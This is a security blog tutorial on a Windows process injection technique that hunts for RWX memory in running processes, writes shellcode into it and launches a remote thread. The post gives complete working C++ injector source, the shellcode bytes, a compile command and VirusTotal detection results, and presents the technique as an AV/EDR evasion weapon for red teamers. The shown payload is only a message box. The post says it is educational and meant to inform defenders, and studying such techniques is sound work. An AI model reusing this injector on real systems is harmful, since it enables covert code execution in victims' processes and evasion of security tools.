cocomelonc

cybersec enthusiast. mathematician. author. speaker. hacker

3 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

injection

This is a result of my own research on another process injection technique.

RWX-memory hunting

Let’s take a look at logic of our classic code injection malware:

//...
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
//...

As you remember, we use VirtualAllocEx which is allows to us to allocate memory buffer for remote process, then, WriteProcessMemory allows you to copy data between processes. And CreateRemoteThread you can specify which process should start the new thread.

What about another way? it is possible to enumerate currently running target processes on the compromised system - search through their allocated memory blocks and check if any those are protected with RWX, so we can attempt to write/read/execute them, which may help to evasion some AV/EDR.

practical example

The flow is this technique is simple, let’s go to investigate its logic:

Loop through all the processes on the system:

injection 2

Loop through all allocated memory blocks in each process:

injection 3

Then, we check for memory block that is protected with RWX:

injection 4

if ok, print our memory block (* for demonstration *):

injection 5

write our payload to this memory block:

injection 6

then start a new remote thread:

injection 7

Full C++ source code of our malware is:

/*
hack.cpp
process injection technique via RWX memory hunting
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/02/01/malware-injection-16.html
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned char my_payload[] =
  // 64-bit meow-meow messagebox
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {
  MEMORY_BASIC_INFORMATION m;
  PROCESSENTRY32 pe;
  LPVOID address = 0;
  HANDLE ph;
  HANDLE hSnapshot;
  BOOL hResult;
  pe.dwSize = sizeof(PROCESSENTRY32);

  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return -1;

  hResult = Process32First(hSnapshot, &pe);

  while (hResult) {
    ph = OpenProcess(MAXIMUM_ALLOWED, false, pe.th32ProcessID);
    if (ph) {
      printf("hunting in %s\n", pe.szExeFile);
      while (VirtualQueryEx(ph, address, &m, sizeof(m))) {
        address = (LPVOID)((DWORD_PTR)m.BaseAddress + m.RegionSize);
        if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) {
          printf("rwx memory successfully found at 0x%x :)\n", m.BaseAddress);
          WriteProcessMemory(ph, m.BaseAddress, my_payload, sizeof(my_payload), NULL);
          CreateRemoteThread(ph, NULL, NULL, (LPTHREAD_START_ROUTINE)m.BaseAddress, NULL, NULL, NULL);
          break;
        }
      }
      address = 0;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }
  CloseHandle(hSnapshot);
  CloseHandle(ph);
  return 0;
}

As usually, for simplicity I used meow-meow messagebox payload:

unsigned char my_payload[] =
  // 64-bit meow-meow messagebox
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

demo

Let’s go to see everything in action. Compile our practical example:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

injection 8

Then run it! In our case victim machine is Windows 10 x64:

injection 9

As you can see, everything is worked perfectly! :)

Let’s go to check one of our victim process, for example OneDrive:

injection 10

injection 11

There is a one caveat. The provided below code is a dirty proof-of-concept and may crash certain processes. For example, in my case SearchUI.exe is crashet and not worked after run my example.

Then, upload our malware to VirusTotal:

vt

https://www.virustotal.com/gui/file/5835847d11b7f891e70681e2ec3a1e22013fa3ffe31a36429e7814a3be40bd97/detection

So, 7 of 69 AV engines detect our file as malicious.

Moneta64.exe result:

moneta

The reason why it’s good to have this technique in your arsenal is because it does not require you to allocate new RWX memory to copy your payload over to by using VirtualAllocEx which is more popular and suspicious and which is more closely investigated by the blue teamers.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

VirtualQueryEx
CreateToolhelp32Snapshot
Process32First
Process32Next
OpenProcess
Taking a snapshot and viewing processes
WriteProcessMemory
CreateRemoteThread
Hunting memory
Moneta64.exe
source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

You may also enjoy